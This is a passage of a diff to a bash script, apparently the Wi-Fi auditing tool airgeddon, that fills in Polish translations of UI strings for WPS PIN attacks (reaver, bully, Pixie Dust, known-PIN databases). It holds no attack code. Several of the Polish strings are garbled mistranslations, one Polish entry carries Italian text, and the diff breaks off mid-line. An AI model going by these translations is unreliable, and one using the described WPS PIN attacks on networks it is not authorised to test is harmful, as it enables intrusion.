-4078,17 +4078,17 @@ function language_strings() { arr["RUSSIAN",360]="12. (reaver) Атака на основе базы данных известных PIN" arr["GREEK",360]="12. (reaver) Επίθεση με χρήση βάσης δεδομένων γνωστών PIN" arr["ITALIAN",360]="12. (reaver) Attacco che utilizza una base dati di PINs conosciuti" - arr["POLISH",360]="${pending_of_translation} " - - arr["ENGLISH",361]="14. Return to main menu" - arr["SPANISH",361]="14. Volver al menú principal" - arr["FRENCH",361]="14. Retourner au menu principal" - arr["CATALAN",361]="14. Tornar al menú principal" - arr["PORTUGUESE",361]="14. Voltar ao menu principal" - arr["RUSSIAN",361]="14. Возврат в главное меню" - arr["GREEK",361]="14. Επιστροφή στο αρχικό μενού" + arr["POLISH",360]="${pending_of_translation} 12. (reaver) Attacco che utilizza una base dati di PIN" + + arr["ENGLISH",361]="14. Return to main menu" + arr["SPANISH",361]="14. Volver al menú principal" + arr["FRENCH",361]="14. Retourner au menu principal" + arr["CATALAN",361]="14. Tornar al menú principal" + arr["PORTUGUESE",361]="14. Voltar ao menu principal" + arr["RUSSIAN",361]="14. Возврат в главное меню" + arr["GREEK",361]="14. Επιστροφή στο αρχικό μενού" arr["ITALIAN",361]="14. Tornare al menú principale" - arr["POLISH",361]="${pending_of_translation} " + arr["POLISH",361]="${pending_of_translation} 14. Wróć do menu głównego" arr["ENGLISH",362]="Custom PIN set to ${normal_color}${custom_pin}" arr["SPANISH",362]="PIN personalizado elegido ${normal_color}${custom_pin}" @@ -4098,7 +4098,7 @@ function language_strings() { arr["RUSSIAN",362]="Пользовательский PIN установлен на ${normal_color}${custom_pin}" arr["GREEK",362]="Το εξατομικευμένο PIN τέθηκε σε ${normal_color}${custom_pin}" arr["ITALIAN",362]="PIN personalizzato scelto ${normal_color}${custom_pin}" - arr["POLISH",362]="${pending_of_translation} " + arr["POLISH",362]="${pending_of_translation} Wybrany PIN ${normal_color}${custom_pin}" arr["ENGLISH",363]="Type custom PIN (8 digits):" arr["SPANISH",363]="Escribe el PIN personalizado (8 dígitos):" @@ -4108,7 +4108,7 @@ function language_strings() { arr["RUSSIAN",363]="Введите пользовательский PIN (8 цифр):" arr["GREEK",363]="Πληκτρολογήστε εξατομικευμένο PIN (8 ψηφία):" arr["ITALIAN",363]="Inserire il PIN personalizzato (8 cifre):" - arr["POLISH",363]="${pending_of_translation} " + arr["POLISH",363]="${pending_of_translation} Wprowadź niestandardowy kod PIN (8 cyfr):" arr["ENGLISH",364]="BSSID set to ${normal_color}${wps_bssid}" arr["SPANISH",364]="BSSID elegido ${normal_color}${wps_bssid}" @@ -4118,7 +4118,7 @@ function language_strings() { arr["RUSSIAN",364]="BSSID установлена на ${normal_color}${wps_bssid}" arr["GREEK",364]="Το BSSID τέθηκε σε ${normal_color}${wps_bssid}" arr["ITALIAN",364]="BSSID selezionato ${normal_color}${wps_bssid}" - arr["POLISH",364]="${pending_of_translation} " + arr["POLISH",364]="${pending_of_translation} Wybrano BSSID ${normal_color}${wps_bssid}" arr["ENGLISH",365]="Channel set to ${normal_color}${wps_channel}" arr["SPANISH",365]="Canal elegido ${normal_color}${wps_channel}" @@ -4128,7 +4128,7 @@ function language_strings() { arr["RUSSIAN",365]="Канал установлен на ${normal_color}${wps_channel}" arr["GREEK",365]="Το κανάλι ${normal_color}${wps_channel}${blue_color} έχει επιλεχθεί" arr["ITALIAN",365]="Canale selezionato ${normal_color}${wps_channel}" - arr["POLISH",365]="${pending_of_translation} " + arr["POLISH",365]="${pending_of_translation} Wybrany kanał ${normal_color}${wps_channel}" arr["ENGLISH",366]="After stopping the attack (using [Ctrl+C]), the window will not be closed automatically. So you'll have time to write down the password if successful. You'll have to close it manually" arr["SPANISH",366]="Tras parar el ataque (usando [Ctrl+C]), la ventana del ataque no se cerrará automáticamente. Asi tendrás tiempo de anotar la contraseña en caso de tener éxito. Tendrás que cerrarla manualmente" @@ -4138,7 +4138,7 @@ function language_strings() { arr["RUSSIAN",366]="После остановки атаки (используя [Ctrl+C]), окно автоматически не закроется. У вас будет время переписать пароль, если атака завершилась успешно. Затем вам нужно закрыть его вручную" arr["GREEK",366]="Μετά τη διακοπή της επίθεσης (με [Ctrl+C]), το παράθυρο δεν θα κλείσει αυτόματα. Έτσι θα έχετε χρόνο να κρατήσετε τον κωδικό πρόσβασης σε περίπτωση επιτυχίας. Το παράθυρο θα πρέπει να το κλείσετε χειροκίνητα" arr["ITALIAN",366]="Dopo l'arresto dell'attacco (utilizzando [Ctrl+C]), la finestra non si chiuderà automaticamente. In modo da avere il tempo di scrivere la password in caso di successo. Dovrai chiuderla manualmente" - arr["POLISH",366]="${pending_of_translation} " + arr["POLISH",366]="${pending_of_translation} Po zatrzymaniu ataku (przy użyciu [Ctrl+C]) okno ataku nie zostanie automatycznie zamknięte. W ten sposób będziesz miał czas na zapisanie hasła w przypadku sukcesu. Musisz ją zamknąć ręcznie" arr["ENGLISH",367]="You have bully installed (v${bully_version}), but not required version. To perform Pixie Dust integrated bully attack you must have at least version v${minimum_bully_pixiewps_version}" arr["SPANISH",367]="Tienes bully instalado (v${bully_version}), aunque no la versión requerida. Para realizar el ataque Pixie Dust integrado con bully has de tener al menos la versión v${minimum_bully_pixiewps_version}" @@ -4148,7 +4148,7 @@ function language_strings() { arr["RUSSIAN",367]="У вас установлен bully (v${bully_version}), но не та версия, которая требуется. Для выполнения интегрированной в bully атаки Pixie Dust у вас должна быть по крайне мере версия v${minimum_bully_pixiewps_version}" arr["GREEK",367]="Έχετε εγκατεστημένο το bully (v${bully_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο bully θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_bully_pixiewps_version}" arr["ITALIAN",367]="È stato installato bully (v${bully_version}), ma non la versione richiesta. Per realizzare l'attacco Pixie Dust integrato con bully devi avere almeno la versione v${minimum_bully_pixiewps_version}" - arr["POLISH",367]="${pending_of_translation} " + arr["POLISH",367]="${pending_of_translation} Masz zainstalowane bully (v${bully_version}), ale nie wymagana wersja. Aby atak Pixie Dust był zintegrowany z przeklęciem, musisz mieć co najmniej wersję v${minimum_bully_pixiewps_version}" arr["ENGLISH",368]="You have bully installed (v${bully_version}). You meet the version requirement to perform Pixie Dust integrated bully attack (minimum version v${minimum_bully_pixiewps_version}). Script can continue..." arr["SPANISH",368]="Tienes bully instalado (v${bully_version}). Cumples con el requisito de versión para realizar el ataque Pixie Dust integrado con bully (versión mínima v${minimum_bully_pixiewps_version}). El script puede continuar..." @@ -4158,7 +4158,7 @@ function language_strings() { arr["RUSSIAN",368]="У вас установлен bully (v${bully_version}). Версия удовлетворяет требованиям для проведения интегрированной в bully атаки Pixie Dust (минимальная версия v${minimum_bully_pixiewps_version}). Скрипт может продолжить работу..." arr["GREEK",368]="Έχετε εγκατεστημένο το bully (v${bully_version}). Έχετε την απαραίτητη έκδοση bully (ελάχιστη έκδοση v${minimum_bully_pixiewps_version}), για την επίθεση Pixie Dust με ενσωματωμένο bully. Το script μπορεί να συνεχίσει..." arr["ITALIAN",368]="È stato installato bully (v${bully_version}). Soddisfi il requisito della versione per realizzare l'attacco Pixie Dust integrato con bully (versione minima v${minimum_bully_pixiewps_version}). Lo script può continuare..." - arr["POLISH",368]="${pending_of_translation} " + arr["POLISH",368]="${pending_of_translation} Zainstalowałeś bully (v${bully_version}). Spełnia się wymagania wersji, aby atak Pixie Dust był zintegrowany z przeklęciem (wersja minimalna v${minimum_bully_pixiewps_version}). Skrypt może kontynuować..." arr["ENGLISH",369]="To perform the Pixie Dust integrated attack with reaver or bully, you must have installed at least ${minimum_reaver_pixiewps_version} version for reaver and ${minimum_bully_pixiewps_version} for bully" arr["SPANISH",369]="Para realizar el ataque Pixie Dust integrado con reaver o con bully, has de tener instalada como mínimo la versión ${minimum_reaver_pixiewps_version} para reaver y ${minimum_bully_pixiewps_version} para bully" @@ -4168,7 +4168,7 @@ function language_strings() { arr["RUSSIAN",369]="Для выполнения интегрированной атаки Pixie Dust с reaver или bully, у вас должна быть установлена, по крайней мере, версия ${minimum_reaver_pixiewps_version} для reaver и ${minimum_bully_pixiewps_version} для bully" arr["GREEK",369]="Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο reaver ή bully, θα πρέπει να έχετε εγκαταστημένη τουλάχιστον την έκδοση ${minimum_reaver_pixiewps_version} για reaver και ${minimum_bully_pixiewps_version} για bully" arr["ITALIAN",369]="Per realizzare l'attacco Pixie Dust integrato con Reaver o bully, deve essere installata almeno la versione ${minimum_reaver_pixiewps_version} per Reaver e la versione ${minimum_bully_pixiewps_version} per bully" - arr["POLISH",369]="${pending_of_translation} " + arr["POLISH",369]="${pending_of_translation} Aby przeprowadzić zintegrowany atak Pixie Dust z użyciem reaver lub z bully, musisz mieć zainstalowaną co najmniej wersję ${minimum_reaver_pixiewps_version}, aby pobrać i ${minimum_bully_pixiewps_version} na bully" arr["ENGLISH",370]="You have reaver installed (v${reaver_version}). You meet the version requirement to perform Pixie Dust integrated reaver attack (minimum version v${minimum_reaver_pixiewps_version}). Script can continue..." arr["SPANISH",370]="Tienes reaver instalado (v${reaver_version}). Cumples con el requisito de versión para realizar el ataque Pixie Dust integrado con reaver (versión minima v${minimum_reaver_pixiewps_version}). El script puede continuar..." @@ -4178,7 +4178,7 @@ function language_strings() { arr["RUSSIAN",370]="У вас установлен reaver (v${reaver_version}). Версия удовлетворяет требованиям для выполнения интегрированной в reaver атаки Pixie Dust (минимальная версия v${minimum_reaver_pixiewps_version}). Скрипт может продолжить работу..." arr["GREEK",370]="Έχετε εγκατεστημένο το reaver (v${reaver_version}). Έχετε την απαραίτητη έκδοση reaver (ελάχιστη έκδοση v${minimum_reaver_pixiewps_version}), για την επίθεση Pixie Dust με ενσωματωμένο reaver. Το script μπορεί να συνεχίσει..." arr["ITALIAN",370]="È stato installato reaver (v${bully_version}). Soddisfi il requisito della versione per realizzare l'attacco Pixie Dust integrato con reaver (versione minima v${minimum_reaver_pixiewps_version}). Lo script può continuare..." - arr["POLISH",370]="${pending_of_translation} " + arr["POLISH",370]="${pending_of_translation} Masz zainstalowany reaver (v${reaver_version}). Spełnia się wymagania dotyczące wersji, aby wykonać atak Pixie Dust z użyciem reverera (wersja minimalna v${minimum_reaver_pixiewps_version}). Skrypt może kontynuować..." arr["ENGLISH",371]="You have reaver installed (v${reaver_version}), but not required version. To perform Pixie Dust integrated reaver attack you must have at least version v${minimum_reaver_pixiewps_version}" arr["SPANISH",371]="Tienes reaver instalado (v${reaver_version}), aunque no la versión requerida. Para realizar el ataque Pixie Dust integrado con reaver has de tener al menos la versión v${minimum_reaver_pixiewps_version}" @@ -4188,7 +4188,7 @@ function language_strings() { arr["RUSSIAN",371]="У вас установлен reaver (v${reaver_version}), но не та версия, которая требуется. Для выполнения интегрированной в reaver атаки Pixie Dust у вас должна быть по крайней мере v${minimum_reaver_pixiewps_version}" arr["GREEK",371]="Έχετε εγκατεστημένο το reaver (v${reaver_version}), αλλά όχι την απαιτούμενη έκδοση. Για να κάνετε την επίθεση Pixie Dust με ενσωματωμένο reaver θα πρέπει να έχετε τουλάχιστον την έκδοση v${minimum_reaver_pixiewps_version}" arr["ITALIAN",371]="È stato installato reaver (v${bully_version}), ma non la versione richiesta. Per realizzare l'attacco Pixie Dust integrato con reaver devi avere almeno la versione v${minimum_reaver_pixiewps_version}" - arr["POLISH",371]="${pending_of_translation} " + arr["POLISH",371]="${pending_of_translation} Masz zainstalowany reaver (v${reaver_version}), ale nie wymagana wersja. Aby zrealizować atak Pixie Dust zintegrowany z programem reaver musisz mieć co najmniej wersję v${minimum_reaver_pixiewps_version}" arr["ENGLISH",372]="This action can't be performed without known PINs database file" arr["SPANISH",372]="Sin fichero de base de datos de PINs conocidos no se puede realizar esta acción" @@ -4198,7 +4198,7 @@ function language_strings() { arr["RUSSIAN",372]="Это действие не может быть выполнено без файла базы данных известных PIN" arr["GREEK",372]="Αυτή η ενέργεια δεν μπορεί να πραγματοποιηθεί χωρίς να υπάρχει το αρχείο με την βάση δεδομένων γνωστών PIN" arr["ITALIAN",372]="Senza il file del database dei PIN conosciuti non si puó eseguire questa azione" - arr["POLISH",372]="${pending_of_translation} " + arr["POLISH",372]="${pending_of_translation} Brak bazy danych znanych kodów PIN nie może wykonać tej czynności" arr["ENGLISH",373]="The known PINs database file exists. Script can continue..." arr["SPANISH",373]="Existe el fichero de base de datos de PINs conocidos. El script puede continuar..." @@ -4208,7 +4208,7 @@ function language_strings() { arr["RUSSIAN",373]="Файл с базой данных известных PIN существует. Скрипт может продолжать..." arr["GREEK",373]="Το αρχείο με την βάση δεδομένων γνωστών PIN υπάρχει. Το script μπορεί να συνεχίσει..." arr["ITALIAN",373]="Esiste il file di base dati dei PINs conosciuti. Lo script può continuare..." - arr["POLISH",373]="${pending_of_translation} " + arr["POLISH",373]="${pending_of_translation} Znajduje się plik bazy danych znanych PIN. Skrypt może kontynuować..." arr["ENGLISH",374]="Local PINs database file (${known_pins_dbfile}) can't be found in the script folder. It will be attempted to download" arr["SPANISH",374]="No se ha podido encontrar el fichero local de la base de datos de PINs (${known_pins_dbfile}) en la carpeta del script. Se intentará descargar" @@ -4218,7 +4218,7 @@ function language_strings() { arr["RUSSIAN",374]="Локальный файл базы данных PIN (${known_pins_dbfile}) не найден в папке скрипта. Будет предпринята попытка загрузить его" arr["GREEK",374]="Το αρχείο με την βάση δεδομένων PIN (${known_pins_dbfile}) δεν βρέθηκε στο φάκελο με το script. Θα προσπαθήσει να κατέβει" arr["ITALIAN",374]="Impossibile trovare il file di base dati con i PINs conosciuti (${known_pins_dbfile}) nella cartella dello script. Cercheremo di scaricarla" - arr["POLISH",374]="${pending_of_translation} " + arr["POLISH",374]="${pending_of_translation} Nie znaleziono lokalnej bazy danych bazy danych kodu PIN (${known_pins_dbfile}) w folderze skryptu. Spróbuje pobrać" arr["ENGLISH",375]="It seems you have no internet access" arr["SPANISH",375]="Parece que no tienes conexión a internet" @@ -4228,7 +4228,7 @@ function language_strings() { arr["RUSSIAN",375]="Судя по всему, у вас нет Интернет доступа" arr["GREEK",375]="Φαίνεται πως δεν έχετε πρόσβαση στο διαδίκτυο" arr["ITALIAN",375]="Sembra che tu non abbia connessione a internet" - arr["POLISH",375]="${pending_of_translation} " + arr["POLISH",375]="${pending_of_translation} Wygląda na to, że nie masz połączenia internetowego" arr["ENGLISH",376]="Local PINs database file (${known_pins_dbfile}) was found. Anyway a check for a newer will be performed" arr["SPANISH",376]="Se ha encontrado un fichero local de base de datos de PINs (${known_pins_dbfile}). No obstante se va a comprobar si existe uno más actualizado" @@ -4238,7 +4238,7 @@ function language_strings() { arr["RUSSIAN",376]="Локальный файл базы данных PIN (${known_pins_dbfile}) был найден. В любом случае будет выполнена проверка на наличие новой версии" arr["GREEK",376]="Το αρχείο με την βάση δεδομένων PIN (${known_pins_dbfile}) βρέθηκε. Παρ'όλα αυτά θα πραγματοποιηθεί έλεγχος για νεότερη έκδοση" arr["ITALIAN",376]="Trovato un file locale di base dati dei PINs (${known_pins_dbfile}). Tuttavia sarà verificato se ne esiste uno più aggiornato" - arr["POLISH",376]="${pending_of_translation} " + arr["POLISH",376]="${pending_of_translation} Został znaleziony lokalny plik bazy danych PIN (${known_pins_dbfile}). Sprawdza się jednak, czy jest bardziej aktualna" arr["ENGLISH",377]="A more up-to-date PINs database file has been successfully downloaded" arr["SPANISH",377]="Se ha descargado con éxito un fichero de base de datos de PINs más actualizado" @@ -4248,7 +4248,7 @@ function language_strings() { arr["RUSSIAN",377]="Новая версия файла базы данных PIN была успешно загружена" arr["GREEK",377]="Ένα ενημερωμένο αρχείο με την βάση δεδομένων PIN έχει κατέβει με επιτυχία" arr["ITALIAN",377]="È stato scaricato con successo un file di base dati dei PINs piú aggiornato" - arr["POLISH",377]="${pending_of_translation} " + arr["POLISH",377]="${pending_of_translation} Bardziej udany plik bazy danych PIN został pomyślnie pobrany" arr["ENGLISH",378]="An error occurred while trying to download the PINs database file" arr["SPANISH",378]="Ocurrió un error al intentar descargar el fichero de base de datos de PINs" @@ -4258,7 +4258,7 @@ function language_strings() { arr["RUSSIAN",378]="При попытке загрузить файл базы данных PIN произошла ошибка" arr["GREEK",378]="Παρουσιάστηκε σφάλμα στην προσπάθεια να κατέβει το αρχείο με την βάση δεδομένων PIN" arr["ITALIAN",378]="Si è verificato un errore durante il tentativo di scaricare i file di base dati dei PINs" - arr["POLISH",378]="${pending_of_translation} " + arr["POLISH",378]="${pending_of_translation} Podczas próby pobrania pliku bazy danych kodu PIN wystąpił błąd" arr["ENGLISH",379]="Check of the PINs database file has already been done. It will not be done again..." arr["SPANISH",379]="El chequeo del fichero de base de datos de PINs ya se hizo. No se realizará de nuevo..." @@ -4268,7 +4268,7 @@ function language_strings() { arr["RUSSIAN",379]="Уже выполнена проверка файла базы данных PIN. Она не будет делаться ещё раз..." arr["GREEK",379]="Έχει γίνει ήδη έλεγχος του αρχείου με την βάση δεδομένων PIN. Δεν θα ξαναελεγχθεί..." arr["ITALIAN",379]="Il controllo del file di base dati dei PINs è già stato eseguito. Non sarà più fatto..." - arr["POLISH",379]="${pending_of_translation} " + arr["POLISH",379]="${pending_of_translation} Sprawdzenie, czy plik bazy danych PIN został już wykonany. To się nie powtórzy..." arr["ENGLISH",380]="Do you want to try again next time you launch this attack for this session? ${normal_color}${visual_choice}" arr["SPANISH",380]="¿Deseas que la próxima vez que lances este ataque en esta sesión se vuelva a intentar? ${normal_color}${visual_choice}" @@ -4278,7 +4278,7 @@ function language_strings() { arr["RUSSIAN",380]="Вы хотите снова продолжить эту сессию при запуске этой атаки в следующий раз? ${normal_color}${visual_choice}" arr["GREEK",380]="Θέλετε να δοκιμάσετε ξανά την επόμενη φορά που θα ξεκινήσει αυτή η επίθεση για αυτή την συνεδρία; ${normal_color}${visual_choice}" arr["ITALIAN",380]="Desideri che la prossima volta che viene lanciato questo attacco in questa sessione si tenti di nuovo? ${normal_color}${visual_choice}" - arr["POLISH",380]="${pending_of_translation} " + arr["POLISH",380]="${pending_of_translation} Czy chcesz następnego uruchomienia tego ataku w tej sesji, aby spróbować ponownie? ${normal_color}${visual_choice}" arr["ENGLISH",381]="An error occurred while trying to access to the checksum file of remote PINs database" arr["SPANISH",381]="Ocurrió un error al intentar acceder al fichero de checksum de la base de datos de PINs remota" @@ -4288,7 +4288,7 @@ function language_strings() { arr["RUSSIAN",381]="Произошла ошибка при попытке получить доступ к контрольной сумме файла удаленной базы данных PIN" arr["GREEK",381]="Παρουσιάστηκε σφάλμα στην προσπάθεια πρόσβασης στο αρχείο checksum της απομακρυσμένης βάσης δεδομένων PIN" arr["ITALIAN",381]="Si è verificato un errore durante il tentativo di accedere al file di checksum della basse dati dei PINs remota" - arr["POLISH",381]="${pending_of_translation} " + arr["POLISH",381]="${pending_of_translation} Podczas próby uzyskania dostępu do pliku kontrolnego zdalnej bazy danych PIN wystąpił błąd" arr["ENGLISH",382]="Checksums of the local and remote files match. Your PINs database file is up-to-date" arr["SPANISH",382]="Los checksum de los ficheros local y remoto coinciden. Tu fichero de base de datos de PINs está actualizado" @@ -4298,7 +4298,7 @@ function language_strings() { arr["RUSSIAN",382]="Контрольные суммы локального и удаленного файлов совпадают. Ваш файл базы данных PIN обновляется" arr["GREEK",382]="Τα checksums των τοπικών και των απομακρυσμένων αρχείων ταιριάζουν. Το αρχείο με την βάση δεδομένων PIN είναι ενημερωμένο" arr["ITALIAN",382]="I checksum dei file locali e remoti corrispondono. Il file di base dati dei PINs è aggiornato" - arr["POLISH",382]="${pending_of_translation} " + arr["POLISH",382]="${pending_of_translation} Skontrolowane są sumy kontrolne plików lokalnych i zdalnych. Plik bazy danych kodu PIN jest aktualny" arr["ENGLISH",383]="It seems there is a more up-to-date PINs database file. It will be downloaded..." arr["SPANISH",383]="Parece que hay un fichero de base de datos de PINs más actualizado. Será descargado..." @@ -4308,7 +4308,7 @@ function language_strings() { arr["RUSSIAN",383]="Есть более новый файл базы данных PIN. Он будет загружен..." arr["GREEK",383]="Φαίνεται πως υπάρχει ένα νεότερο αρχείο με την βάση δεδομένων PIN. Θα κατέβει..." arr["ITALIAN",383]="Sembra che ci sia un file di base dati dei PINs piú aggiornato. Sarà scaricato..." - arr["POLISH",383]="${pending_of_translation} " + arr["POLISH",383]="${pending_of_translation} Wygląda na to, że istnieje bardziej aktualny plik bazy danych PIN. Zostanie pobrany..." arr["ENGLISH",384]="Searching in PINs database. Please be patient..." arr["SPANISH",384]="Buscando en la base de datos de PINs. Por favor ten paciencia..." @@ -4318,7 +4318,7 @@ function language_strings() { arr["RUSSIAN",384]="Поиск в базе данных PIN. Подождите немного..." arr["GREEK",384]="Γίνεται αναζήτηση στην βάση δεδομένων PIN. Παρακαλώ έχετε λίγη υπομονή..." arr["ITALIAN",384]="Cercando nella base dati dei PINs. Si prega di essere pazienti..." - arr["POLISH",384]="${pending_of_translation} " + arr["POLISH",384]="${pending_of_translation} Wyszukiwanie bazy danych kodu PIN. Bądźcie cierpliwi..." arr["ENGLISH",385]="Only one match found in the PINs database" arr["SPANISH",385]="Se ha encontrado sólo una coincidencia en la base de datos de PINs" @@ -4328,7 +4328,7 @@ function language_strings() { arr["RUSSIAN",385]="В базе данных PIN найдено только одно совпадение" arr["GREEK",385]="Μόνο ένα αντίστοιχο PIN βρέθηκε στην βάση δεδομένων" arr["ITALIAN",385]="Solo una corrispondenza trovata nella base dati dei PINs" - arr["POLISH",385]="${pending_of_translation} " + arr["POLISH",385]="${pending_of_translation} Znaleziono tylko jeden mecz znaleziony w bazie danych kodu PIN" arr["ENGLISH",386]="${counter_pins_found} matching PINs have been found in the PINs database" arr["SPANISH",386]="Se han encontrado ${counter_pins_found} PINs coincidentes en la base de datos de PINs" @@ -4338,7 +4338,7 @@ function language_strings() { arr["RUSSIAN",386]="${counter_pins_found} соответствующих ПИНа были найдены в базе данных PIN" arr["GREEK",386]="${counter_pins_found} αντίστοιχα PINs βρέθηκαν στην βάση δεδομένων" arr["ITALIAN",386]="Trovati ${counter_pins_found} PINs coincidenti nella base dati dei PINs" - arr["POLISH",386]="${pending_of_translation} " + arr["POLISH",386]="${pending_of_translation} Znaleziono w pasującej bazie kodów PIN ${counter_pins_found} pasujące do kodu PIN" arr["ENGLISH",387]="No matches found in the PINs database" arr["SPANISH",387]="No se ha encontrado ninguna coincidencia en la base de datos de PINs" @@ -4348,7 +4348,7 @@ function language_strings() { arr["RUSSIAN",387]="В базе данных PIN не найдено совпадений" arr["GREEK",387]="Δε βρέθηκε αντίστοιχο PIN στην βάση δεδομένων" arr["ITALIAN",387]="Nessuna corrispondenza trovata nella base dati dei PINs" - arr["POLISH",387]="${pending_of_translation} " + arr["POLISH",387]="${pending_of_translation} Brak dopasowania w bazie danych kodu PIN" arr["ENGLISH",388]="Calculating and adding possible PINs using common known algorithms (ComputePIN, EasyBox, etc.) ..." arr["SPANISH",388]="Calculando y añadiendo posibles PINs usando algoritmos conocidos comunes (ComputePIN, EasyBox, etc.) ..." @@ -4358,7 +4358,7 @@ function language_strings() { arr["RUSSIAN",388]="Вычисление и добавление возможных PIN с использованием общеизвестных алгоритмов (ComputePIN, EasyBox, etc.) ..." arr["GREEK",388]="Γίνεται υπολογισμός πιθανών PINs και πρόσθεση αυτών κάνοντας χρήση κοινών γνωστών αλγορίθμων (ComputePIN, EasyBox, etc.) ..." arr["ITALIAN",388]="Calcolando e aggiungendo possibili PINs utilizzando noti algoritmi conosciuti (ComputePIN, EasyBox, etc.) ..." - arr["POLISH",388]="${pending_of_translation} " + arr["POLISH",388]="${pending_of_translation} Obliczanie i dodawanie możliwych kodów PIN przy użyciu powszechnie znanych algorytmów (ComputePIN, EasyBox, itd.) ..." arr["ENGLISH",389]="PINs calculated by algorithms have been added. The attack will be launched with a total of ${counter_pins_found} PINs" arr["SPANISH",389]="Se han añadido PINs calculados por los algoritmos. El ataque se lanzará con un total de ${counter_pins_found} PINs" @@ -4368,7 +4368,7 @@ function language_strings() { arr["RUSSIAN",389]="Добавлены PIN, рассчитанные с помощью алгоритмов. Атака будет произведена в общей сложности по ${counter_pins_found} PIN" arr["GREEK",389]="Προστέθηκαν τα PINs που υπολογίστηκαν από τους αλγορίθμους. Η επίθεση θα ξεκινήσει με ${counter_pins_found} PINs συνολικά" arr["ITALIAN",389]="Sono stati aggiunti PINs calcolati dagli algoritmi. L'attacco sará lanciato con un totale di ${counter_pins_found} PINs" - arr["POLISH",389]="${pending_of_translation} " + arr["POLISH",389]="${pending_of_translation} Kody PIN obliczane przez algorytmy zostały dodane. Atak zostanie uruchomiony w sumie ${counter_pins_found} PIN" arr["ENGLISH",390]="Some access points have only PBC (Push Button Connect) enabled and you can't connect via WPS if you don't press the physical button on the device" arr["SPANISH",390]="Algunos puntos de acceso tienen activado solamente PBC (Push Button Connect) y no podrás conectar por WPS si no se pulsa el boton físico del mismo" @@ -4378,7 +4378,7 @@ function language_strings() { arr["RUSSIAN",390]="На некоторых точках доступа включено только PBC (Push Button Connect), т.е. подключение по нажатой кнопке, и вы не можете подключиться через WPS, если вы не нажмете на физическую кнопку устройства" arr["GREEK",390]="Μερικά σημεία πρόσβασης έχουν PBC (Push Button Connect) και δεν μπορείτε να συνδεθείτε μέσω WPS αν δεν πατήσετε το κουμπί αυτό στη συσκευή" arr["ITALIAN",390]="Alcuni punti di accesso hanno solo PBC (Push Button Connect) attivato e non è possibile connettersi tramite WPS se non viene premuto il pulsante fisico" - arr["POLISH",390]="${pending_of_translation} " + arr["POLISH",390]="${pending_of_translation} Niektóre punkty dostępu mają włączoną funkcję PBC (Push Button Connect) i nie można połączyć się za pośrednictwem WPS, jeśli nie naciśniesz fizycznego przycisku tego samego" arr["ENGLISH",391]="Timeout set to ${normal_color}${timeout_secs_per_pin}${blue_color} seconds" arr["SPANISH",391]="Timeout elegido ${normal_color}${timeout_secs_per_pin}${blue_color} segundos" @@ -4388,7 +4388,7 @@ function language_strings() { arr["RUSSIAN",391]="Тайм-аут установлен на ${normal_color}${timeout_secs_per_pin}${blue_color} секунд" arr["GREEK",391]="Το timeout τέθηκε στα ${normal_color}${timeout_secs_per_pin}${blue_color} δευτερόλεπτα" arr["ITALIAN",391]="Timeout scelto ${normal_color}${timeout_secs_per_pin}${blue_color} secondi" - arr["POLISH",391]="${pending_of_translation} " + arr["POLISH",391]="${pending_of_translation} Wybrany limit czasu ${normal_color}${timeout_secs_per_pin}${blue_color} seconds" arr["ENGLISH",392]="Pixie Dust timeout set to ${normal_color}${timeout_secs_per_pixiedust}${blue_color} seconds" arr["SPANISH",392]="Timeout elegido para Pixie Dust ${normal_color}${timeout_secs_per_pixiedust}${blue_color} segundos" @@ -4398,7 +4398,7 @@ function language_strings() { arr["RUSSIAN",392]="Pixie Dust тайм-аут установлен на ${normal_color}${timeout_secs_per_pixiedust}${blue_color} секунд" arr["GREEK",392]="Το timeout του Pixie Dust τέθηκε στα ${normal_color}${timeout_secs_per_pixiedust}${blue_color} δευτερόλεπτα" arr["ITALIAN",392]="Timeout scelto per Pixie Dust ${normal_color}${timeout_secs_per_pixiedust}${blue_color} secondi" - arr["POLISH",392]="${pending_of_translation} " + arr["POLISH",392]="${pending_of_translation} Limit czasu wybrany dla Pixie Dust ${normal_color}${timeout_secs_per_pixiedust}${blue_color} sekundy" arr["ENGLISH",393]="Type value in seconds (10-100) for timeout or press [Enter] to accept the proposal [${normal_color}${timeout_secs_per_pin}${green_color}] :" arr["SPANISH",393]="Escribe un valor en segundos (10-100) para el timeout o pulsa [Enter] para aceptar el valor propuesto [${normal_color}${timeout_secs_per_pin}${green_color}] :" @@ -4408,7 +4408,7 @@ function language_strings() { arr["RUSSIAN",393]="Введите значение в секундах (10-100) для тайм-аута или нажмите [Enter], чтобы оставить по умолчанию [${normal_color}${timeout_secs_per_pin}${green_color}] :" arr["GREEK",393]="Εισάγετε μια τιμή σε δευτερόλεπτα (10-100) για το timeout ή πατήστε [Enter] για να τεθεί η προεπιλεγμένη τιμή [${normal_color}${timeout_secs_per_pin}${green_color}] :" arr["ITALIAN",393]="Scrivi un valore in secondi (10-100) per il timeout o premi [Enter] per accettare il valore proposto [${normal_color}${timeout_secs_per_pin}${green_color}] :" - arr["POLISH",393]="${pending_of_translation} " + arr["POLISH",393]="${pending_of_translation} Wprowadź wartość w sekundach (10-100) dla limitu czasu lub naciśnij klawisz [Enter], aby zaakceptować proponowaną wartość [${normal_color}${timeout_secs_per_pin}${green_color}] :" arr["ENGLISH",394]="Type value in seconds (25-2400) for Pixie Dust timeout or press [Enter] to accept the proposal [${normal_color}${timeout_secs_per_pixiedust}${green_color}] :" arr["SPANISH",394]="Escribe un valor en segundos (25-2400) para el timeout de Pixie Dust o pulsa [Enter] para aceptar el valor propuesto [${normal_color}${timeout_secs_per_pixiedust}${green_color}] :" @@ -4418,7 +4418,7 @@ function language_strings() { arr["RUSSIAN",394]="Введите значение в секундах (25-2400) для тайм-аута Pixie Dust или нажмите [Enter], чтобы оставить по умолчанию [${normal_color}${timeout_secs_per_pixiedust}${green_color}] :" arr["GREEK",394]="Εισάγετε μια τιμή σε δευτερόλεπτα (25-2400) για το timeout του Pixie Dust ή πατήστε [Enter] για να τεθεί η προεπιλεγμένη τιμή [${normal_color}${timeout_secs_per_pixiedust}${green_color}] :" arr["ITALIAN",394]="Scrivi un valore in secondi (25-2400) per il timeout di Pixie Dust o premi [Enter] per accettare il valore proposto [${normal_color}${timeout_secs_per_pixiedust}${green_color}] :" - arr["POLISH",394]="${pending_of_translation} " + arr["POLISH",394]="${pending_of_translation} Wpisz wartość w sekundach (25-2400) dla limitu czasu Pixie Dust lub naciśnij klawisz [Enter], aby zaakceptować proponowaną wartość 